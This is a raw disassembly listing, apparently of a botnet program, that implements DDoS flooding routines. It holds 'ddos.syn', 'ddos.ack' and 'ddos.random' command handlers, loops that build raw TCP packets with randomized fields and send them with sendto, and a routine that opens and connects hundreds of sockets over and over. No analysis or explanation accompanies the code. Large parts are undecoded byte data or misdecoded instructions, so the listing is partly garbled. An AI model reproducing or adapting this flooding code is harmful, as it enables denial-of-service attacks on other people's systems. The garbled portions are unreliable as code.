; htonl push offset aDdos_syn ; "ddos.syn" mov [ebp-10h], eax push dword ptr [ebp+10h] call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_412D4C mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 2 jmp short loc_412DA0 ; --------------------------------------------------------------------------- loc_412D4C: ; CODE XREF: seg000:00412D41j push offset aDdos_ack ; "ddos.ack" push dword ptr [ebp+10h] ; CODE XREF: seg000:00412DC3j call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_412D68 mov [ebp-0Ch], ebx mov byte ptr [ebp-7], 10h jmp short loc_412DA0 ; --------------------------------------------------------------------------- loc_412D68: ; CODE XREF: seg000:00412D5Dj push offset aDdos_random ; "ddos.random" push dword ptr [ebp+10h] call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_412DA0 call sub_41BAD2 push 3 cdq pop ecx idiv ecx mov [ebp-0Ch], edx call sub_41BAD2 ; CODE XREF: seg000:00412DCFj push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp-7], dl loc_412DA0: ; CODE XREF: seg000:00412D4Aj ; seg000:00412D66j ... push 4000h mov byte ptr [ebp-8], 50h call ds:dword_4CDBF8 ; htons mov [ebp-6], ax lea eax, [ebp-48h] push eax mov [ebp-2], bx mov [ebp+10h], ebx call near ptr 0B10000h loop near ptr loc_412D51+1 inc ebp in al, 50h call near ptr 0B10000h and bh, bh jnz short near ptr loc_412D89+4 mov eax, [ebp+18h] cdq push dword ptr [ebp-48h] push edx push eax call sub_41D4A0 add eax, [ebp-1Ch] push 14h pop esi adc edx, [ebp-18h] mov [ebp-3Ch], eax mov [ebp-38h], edx loc_412DEE: ; CODE XREF: seg000:00412F2Aj mov [ebp-4], bx call sub_41BAD2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_4CDBF8 ; htons mov [ebp-14h], ax call sub_41BAD2 mov edi, eax shl edi, 10h call sub_41BAD2 or edi, eax push edi call ds:dword_4CDBF8 ; htons movzx eax, ax mov [ebp-10h], eax mov eax, [ebp+0Ch] inc dword ptr [ebp+0Ch] push eax call ds:dword_4CDBF4 ; htonl mov [ebp-28h], eax mov eax, [ebp-24h] push esi mov [ebp-74h], eax mov [ebp-70h], bl mov byte ptr [ebp-6Fh], 6 call ds:dword_4CDBF8 ; htons mov [ebp-6Eh], ax mov eax, [ebp-28h] mov [ebp-78h], eax lea eax, [ebp-78h] push 20h push eax lea eax, [ebp-0B4h] push eax call sub_41C500 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-94h] push eax call sub_41C500 lea eax, [ebp-0B4h] push 34h push eax call sub_40AB51 mov [ebp-4], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_41C500 lea eax, [ebp-14h] push esi push eax lea eax, [ebp-0A0h] push eax call sub_41C500 push 4 lea eax, [ebp-8Ch] push ebx push eax call sub_41B780 add esp, 44h lea eax, [ebp-0B4h] push 28h push eax call sub_40AB51 mov [ebp-2Ah], ax lea eax, [ebp-34h] push esi push eax lea eax, [ebp-0B4h] push eax call sub_41C500 add esp, 14h lea eax, [ebp-58h] push 10h push eax push ebx lea eax, [ebp-0B4h] push 28h push eax push dword ptr [ebp-20h] call ds:dword_4CDC5C ; sendto cmp eax, 0FFFFFFFFh jz short loc_412F49 add [ebp+10h], eax lea eax, [ebp-1Ch] push eax call near ptr 0B10000h xchg cl, [ebx+453BE845h] enter 127Fh, 0Fh mov edx, cs ; --------------------------------------------------------------------------- db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] cmp eax, [ebp-3Ch] jb loc_412DEE mov ebx, [ebp+10h] loc_412F33: ; CODE XREF: seg000:00412CB4j ; seg000:00412F70j push dword ptr [ebp-20h] call ds:dword_4CDC90 ; closesocket pop esi loc_412F3D: ; CODE XREF: seg000:00412C97j call ds:dword_4CDB50 ; WSACleanup mov eax, ebx loc_412F45: ; CODE XREF: seg000:00412C77j pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_412F49: ; CODE XREF: seg000:00412F07j ; DATA XREF: seg002:off_43CE1Co call ds:dword_4CDB8C ; WSAGetLastError push eax lea eax, [ebp-0F4h] push offset dword_43875C push eax call sub_41BA76 lea eax, [ebp-0F4h] push eax call sub_4152AE add esp, 10h jmp short loc_412F33 ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A9E8 push dword ptr [esp+18h] mov esi, eax call sub_41B969 push dword ptr [esp+24h] mov ebx, eax call sub_41B969 mov edi, eax call sub_41BAD2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call loc_412C3C add esp, 20h test eax, eax jnz short loc_412FBF inc eax loc_412FBF: ; CODE XREF: seg000:00412FBCj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- word_412FCE dw 8B55h ; DATA XREF: seg000:00408195o dd 0BCEC81ECh, 8B000003h, 56530845h, 33686A57h, 0F08B59DBh dd 0FE44BD8Dh, 0FF68FFFFh, 43000000h, 0A5F3036Ah, 9889026Ah dd 19Ch, 0DC7815FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h dd 4CDB8Ch, 44858D50h, 68FFFFFCh, 43885Ch, 8A54E850h, 0FF330000h dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF691DE8h, 14C483FFh dd 0FC44858Dh, 0E850FFFFh, 2256h, 0E8C875FFh, 0FFFF8227h dd 0E8575959h, 6FCF98h, 0F44D8D6Bh, 3351046Ah, 57026AFFh dd 0F45D8950h, 0DBD815FFh, 0F883004Ch, 0FF5D75FFh, 4CDB8C15h dd 858D5000h, 0FFFFFC44h, 43882C68h, 0DBE85000h, 83000089h dd 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh, 858D50D8h dd 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF68A6h, 8D14C483h dd 0FFFC4485h, 0DFE850FFh, 0FF000021h, 0B0E8C875h, 59FFFF81h dd 21E85759h, 3D006FCFh, 0FE48858Dh, 0FF50FFFFh, 4CDC3815h dd 0FFF88300h, 858D5575h, 0FFFFFC44h, 43880C68h, 73E85000h dd 39000089h, 5959DC7Dh, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 3FE8FFFFh, 83FFFF68h dd 858D14C4h, 0FFFFFC44h, 2178E850h, 75FF0000h, 8149E8C8h dd 5959FFFFh, 0CEBAE857h, 6AA7006Fh, 0E4458D10h, 2DE85057h dd 83000086h, 0C7660CC4h, 2E445h, 0F815FF57h, 66004CDBh dd 8DE64589h, 0FFFE4885h, 15FF50FFh, 4CDC38h, 80A8358Bh dd 45890042h, 87D89E8h, 4589D6FFh, 11EE9F8h, 1C680000h dd 0C6000004h, 4D094005h, 15FF4500h, 4CDBF8h, 66D47D39h dd 4D0942A3h, 1D896600h, 4D0944h, 463D8966h, 0C6004D09h dd 4D094805h, 1D888000h, 4D0949h, 4A3D8966h, 74004D09h dd 8904E830h, 0D88B0000h, 0E808E3C1h, 88FAh, 0E3C1D803h dd 88F0E808h, 0D8030000h, 0E808E3C1h, 88E6h, 1D89D803h dd 4D094Ch, 0EB43DB33h, 44B5FF18h, 0E8FFFFFEh, 0FFFF78F4h dd 15FF5059h, 4CDC38h, 4D094CA3h, 0E8458B00h, 4D0950A3h dd 88B4E800h, 0B9990000h, 100h, 1588F9F7h, 4D0954h, 88A1E8h dd 0B99900h, 0F7000001h, 551588F9h, 0E8004D09h, 888Eh dd 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4D0956h, 5A1D8966h dd 42004D09h, 58158966h, 0E8004D09h, 8866h, 0FFB999h, 0F9F70000h dd 95C6852h, 1E8004Dh, 83000085h, 458D0CC4h, 50106AE4h dd 41C6857h, 40680000h, 0FF004D09h, 15FFFC75h, 4CDC5Ch dd 0FFFF883h, 9F84h, 845FF00h, 452BD6FFh, 3E8B9F8h, 0D2330000h dd 453BF1F7h, 0CB860FD0h, 0FFFFFFFEh, 15FFFC75h, 4CDC90h dd 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h dd 48858D50h, 0FFFFFFFEh, 8D500875h, 0FFFEC885h, 858D50FFh dd 0FFFFFC44h, 4387C068h, 77E85000h, 83000087h, 7D391CC4h dd 572075DCh, 0FC44858Dh, 75FFFFFFh, 858D50D8h, 0FFFFFF48h dd 44B5FF50h, 0E8FFFFFEh, 0FFFF6642h, 8D14C483h, 0FFFC4485h dd 7BE850FFh, 0FF00001Fh, 4CE8C875h, 59FFFF7Fh, 0BDE85759h dd 0DB006FCCh, 0FFFC75FFh, 4CDC9015h, 8C15FF00h, 50004CDBh dd 0FE48858Dh, 75FFFFFFh, 78685008h, 8D004387h, 0FFFC4485h dd 20068FFh, 0E8500000h, 87FCh, 3918C483h, 2075DC7Dh, 44858D57h dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h dd 0FF65CDE8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 1F06h dd 0E8C875FFh, 0FFFF7ED7h, 0E8575959h, 6FCC48h db 57h byte_4133B9 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00406F95o dd 10320B8h, 894AE800h, 458B0000h, 57565308h, 0F08B496Ah dd 0BCBD8D59h, 0F3FFFFFEh, 47FF33A5h, 120B889h, 15FF0000h dd 4CDB80h, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CDC38h dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh dd 4CDC7Ch, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h dd 0BC858D50h, 68FFFFFCh, 4388B4h, 8644E850h, 0C4830000h dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h dd 50FFFFFEh, 0FEBCB5FFh, 0FE8FFFFh, 83FFFF65h, 858D14C4h dd 0FFFFFCBCh, 1E48E850h, 75FF0000h, 7E19E8D0h, 5959FFFFh dd 0CB8AE857h, 3B6B006Fh, 8B0C74C3h, 8B0C40h, 4589008Bh dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 82EAE850h, 4D830000h dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h, 7D39C445h dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh dd 4CDB1015h, 753B4600h, 0FFDA7CC0h, 15FF0875h, 4CDCACh dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 888868FFh, 0E8500043h dd 8576h, 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6441E8h dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1D7Ah, 0E8D075FFh dd 0FFFF7D4Bh, 0E8535959h, 6FCABCh db 0DDh byte_413545 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:004071EBo dd 10310B8h, 87BEE800h, 458B0000h, 57565308h, 0F08B496Ah dd 0CCBD8D59h, 0F3FFFFFEh, 46F633A5h, 120B089h, 15FF0000h dd 4280A8h, 854EE850h, 6A590000h, 6A026A11h, 7815FF02h dd 8B004CDCh, 6AFF33D8h, 0F0458D10h, 0E9E85057h, 83000081h dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CDC3815h dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh, 0DC7C15FFh dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh dd 438908h, 8498E850h, 0C4830000h, 0E87D390Ch, 8D572075h dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh dd 63E8FFFFh, 83FFFF63h, 858D14C4h, 0FFFFFCCCh, 1C9CE850h dd 75FF0000h, 7C6DE8E0h, 5959FFFFh, 0C9DEE856h, 8BFC006Fh dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h dd 8496h, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh dd 4CDBF815h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h, 8448E872h dd 0B9990000h, 0FFh, 3B46F9F7h, 9488D475h, 0FEFCEF35h dd 0EBE67CFFh, 0D04DFF56h, 8D5E0B6Ah, 106AF045h, 1FE85750h dd 6A000084h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh, 0FEFCF085h dd 0FF5350FFh, 4CDC5C15h, 0D875FF00h, 806415FFh, 754E0042h dd 0DC7D39CEh, 0EFE81975h, 99000083h, 0FFDCB9h, 42F9F700h dd 0F815FF52h, 66004CDBh, 39F24589h, 0A57FD07Dh, 8DD04DFFh dd 0FFFF5085h, 858D50FFh, 0FFFFFCCCh, 4388DC68h, 5FE85000h dd 83000083h, 7D390CC4h, 572075E8h, 0FCCC858Dh, 75FFFFFFh dd 858D50E4h, 0FFFFFED0h, 0CCB5FF50h, 0E8FFFFFEh, 0FFFF622Ah dd 8D14C483h, 0FFFCCC85h, 63E850FFh, 0FF00001Bh, 34E8E075h dd 59FFFF7Bh, 0A5E85759h, 0B6006FC8h dword_41375C dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: seg000:0040685Bo dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 115E8h dd 858D5000h, 0FFFFFBECh, 43893068h, 0C7E85000h, 33000082h dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 6190E8FFh, 0C483FFFFh dd 0EC858D14h, 50FFFFFBh, 1AC9E8h, 0F075FF00h, 0FF7A9AE8h dd 565959FFh, 6FC80BE8h, 5E5F0F00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137F8 proc near ; CODE XREF: seg000:004138D9p var_654 = dword ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B780 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call ds:dword_4CDBF8 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_4138AE push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413842: ; CODE XREF: sub_4137F8+B2j xor esi, esi loc_413844: ; CODE XREF: sub_4137F8+77j push 0 push 1 push 2 call ds:dword_428220 ; socket cmp eax, 0FFFFFFFFh mov [ebp+esi*4+var_654], eax jz short loc_41386C lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call ds:dword_4281F8 ; ioctlsocket loc_41386C: ; CODE XREF: sub_4137F8+62j inc esi cmp esi, edi jl short loc_413844 xor esi, esi loc_413873: ; CODE XREF: sub_4137F8+91j lea eax, [ebp+var_14] push 10h push eax push [ebp+esi*4+var_654] call ds:dword_428210 ; connect inc esi cmp esi, edi jl short loc_413873 push 64h call ds:dword_428064 ; Sleep xor esi, esi loc_413895: ; CODE XREF: sub_4137F8+ADj push [ebp+esi*4+var_654] call ds:dword_42821C ; closesocket inc esi cmp esi, edi jl short loc_413895 dec [ebp+arg_4] jnz short loc_413842 pop edi pop esi loc_4138AE: ; CODE XREF: sub_4137F8+3Ej xor eax, eax leave retn sub_4137F8 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A9E8 push dword ptr [esp+18h] mov edi, eax call sub_41B969 push dword ptr [esp+20h] mov ebx, eax call sub_41B969 mov esi, eax push esi push ebx push edi call sub_4137F8 add esp, 18h test eax, eax jnz short loc_4138E6 inc eax loc_4138E6: ; CODE XREF: seg000:004138E3j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_4138F5 db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00407EADo dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h dd 858D50FFh, 0FFFFFDF0h, 30CE850h, 8D500000h, 0FFFBEC85h dd 895C68FFh, 0E8500043h, 812Eh, 0C483F633h, 0F8753918h dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 0F7E8FFFFh, 83FFFF5Fh, 858D14C4h, 0FFFFFBECh dd 1930E850h, 75FF0000h, 7901E8F0h, 5959FFFFh, 0C672E856h dd 5F9B006Fh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413991 proc near ; CODE XREF: seg000:00413C7Ep var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = word ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call ds:dword_4CDB68 ; WSAStartup test eax, eax jz short loc_4139D1 xor eax, eax jmp loc_413C15 ; --------------------------------------------------------------------------- loc_4139D1: ; CODE XREF: sub_413991+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call ds:dword_4CDC9C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413C0D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call ds:dword_4CDBD8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_413C03 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B780 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call ds:dword_4CDBF8 ; htons mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call ds:dword_4CDBF8 ; htons push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call ds:dword_4CDBF8 ; htons push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call ds:dword_4CDBF8 ; htons mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 0B10000h out 8Dh, eax inc ebp clc push eax call near ptr 0B10000h push small [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D4A0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413ABC: ; CODE XREF: sub_413991+25Dj ; sub_413991+269j mov [ebp+var_24], bx call sub_41BAD2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ds:dword_4CDBF8 ; htons mov [ebp+var_34], ax call sub_41BAD2 mov edi, eax shl edi, 10h call sub_41BAD2 or edi, eax push edi call ds:dword_4CDBF8 ; htons movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call ds:dword_4CDBF4 ; htonl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call ds:dword_4CDBF8 ; htons mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C500 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C500 lea eax, [ebp+var_B4] push 34h push eax call sub_40AB51 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C500 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C500 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B780 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AB51 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C500 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call ds:dword_4CDC5C ; sendto cmp eax, 0FFFFFFFFh jz short loc_413C19 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 0B10000h sbb cl, [ebx-39C403BBh] jg short loc_413C00 jl loc_413ABC mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jb loc_413ABC loc_413C00: ; CODE XREF: sub_413991+25Bj mov ebx, [ebp+arg_8] loc_413C03: ; CODE XREF: sub_413991+78j ; sub_413991+2AFj push [ebp+var_C] call ds:dword_4CDC90 ; closesocket pop esi loc_413C0D: ; CODE XREF: sub_413991+5Bj call ds:dword_4CDB50 ; WSACleanup mov eax, ebx loc_413C15: ; CODE XREF: sub_413991+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413C19: ; CODE XREF: sub_413991+247j call ds:dword_4CDB8C ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_438984 push eax call sub_41BA76 lea eax, [ebp+var_F4] push eax call sub_4152AE add esp, 10h jmp short loc_413C03 sub_413991 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A9E8 push dword ptr [esp+18h] mov esi, eax call sub_41B969 push dword ptr [esp+20h] mov ebx, eax call sub_41B969 mov edi, eax call sub_41BAD2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_413991 add esp, 1Ch test eax, eax jnz short loc_413C8B inc eax loc_413C8B: ; CODE XREF: seg000:00413C88j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- word_413C9A dw 8B55h ; DATA XREF: seg000:00408815o dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h dd 9EE850FFh, 5900007Ch, 70858D50h, 50FFFFFEh, 0DC3815FFh dd 0E850004Ch, 5Bh, 6C858D50h, 68FFFFFCh, 4389A4h, 7D84E850h dd 0F6330000h, 3914C483h, 2075F875h, 6C858D56h, 0FFFFFFFCh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5C4DE8h dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 1586h, 0E8F075FFh dd 0FFFF7557h, 0E8565959h, 6FC2C8h, 555E5FFBh, 0EC81EC8Bh dd 98h, 83575653h, 0FFFF78A5h, 46A00FFh, 0A86583h, 6AC9335Eh dd 0BB5A4106h, 0FFh, 7D8DC033h, 7C8D89ACh, 0C7FFFFFFh dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h dd 0C7000000h, 3AA045h, 5D890000h, 0B04589A4h, 0D47D8DABh dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh dd 0DAE85700h, 59000093h, 57FC4589h, 0C15FF50h, 0FF004CDCh dd 15FFFC75h, 4CDC7Ch, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h dd 4CDC7815h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h dd 4CDBD8h, 200BEh, 0A2E85600h, 8B000078h, 4280A83Dh, 45895900h dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch dd 6885C766h, 2FFFFFFh, 0F815FF00h, 66004CDBh, 0FF6A8589h dd 0CAE9FFFFh, 0E8000000h, 7C72h, 0F7CB8B99h, 0F4458BF9h dd 0FFFFFF25h, 18E2C100h, 5589D00Bh, 7C58E8F4h, 8B990000h dd 89F9F7CBh, 4BE8AC55h, 9900007Ch, 1FA4B9h, 0DC45C600h dd 0C6F9F745h, 8904DD45h, 33E8D455h, 6600007Ch, 0E8E04589h dd 7C2Ah, 59990A6Ah, 8B66F9F7h, 50B09544h, 0DBF815FFh dd 6656004Ch, 0FFE24589h, 4CDBF815h, 45896600h, 0E45D88DEh dd 7C01E8h, 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h dd 8BE54588h, 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h dd 0FFFF6C59h, 0E6458966h, 6ADC458Dh, 75FF5014h, 85F6E8F8h dd 0C4830000h, 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h dd 0FFFC75FFh, 4CDC5C15h, 2BD7FF00h, 0E8B9F045h, 33000003h dd 3BF1F7D2h, 860F0C45h, 0FFFFFF1Fh, 0E8F875FFh, 735Dh dd 0FC75FF59h, 0DC9015FFh, 0C033004Ch, 5B405E5Fh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_413F56 dw 8B55h ; DATA XREF: seg000:00406E50o dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h dd 0FFFFFDC0h, 0F633A5F3h, 33460E6Ah, 9CB089DBh, 59000001h dd 0BD8DC033h, 0FFFFFF61h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h dd 4280A83Dh, 50D7FF00h, 7B27E8h, 0FF685900h, 6A000000h dd 0FF026A03h, 4CDC7815h, 0FFF88300h, 75FC4589h, 8C15FF66h dd 50004CDBh, 0FBC0858Dh, 0C068FFFFh, 5000438Ah, 7AA5E8h dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh dd 0FFFF596Ah, 8D14C483h, 0FFFBC085h, 0A3E850FFh, 0FF000012h dd 0FFFF44B5h, 7271E8FFh, 5959FFFFh, 0BFE2E853h, 8DE0006Fh dd 46ACC4Dh, 53026A51h, 0CC758950h, 0DBD815FFh, 0F883004Ch dd 0FF6675FFh, 4CDB8C15h, 858D5000h, 0FFFFFBC0h, 438A8868h dd 27E85000h, 8300007Ah, 9D390CC4h, 0FFFFFF58h, 8D532375h dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh dd 0FFFDC0B5h, 58ECE8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh dd 1225E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF71F3h, 0E8535959h dd 6FBF64h, 0C4858D6Fh, 50FFFFFDh, 0DC3815FFh, 0F883004Ch dd 8D5E75FFh, 0FFFBC085h, 8A6868FFh, 0E8500043h, 79B6h dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 587CE8FFh dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11B5E8h, 44B5FF00h dd 0E8FFFFFFh, 0FFFF7183h, 0E8535959h, 6FBEF4h, 8D106A63h dd 5053BC45h, 7667E8h, 0CC48300h, 0BC45C766h, 0FF530002h dd 4CDBF815h, 45896600h, 0C4858DBEh, 50FFFFFDh, 0DC3815FFh dd 4589004Ch, 85D89C0h, 4589D7FFh, 22BE9D0h, 286A0000h dd 45D445C6h, 0DBF815FFh, 9D39004Ch, 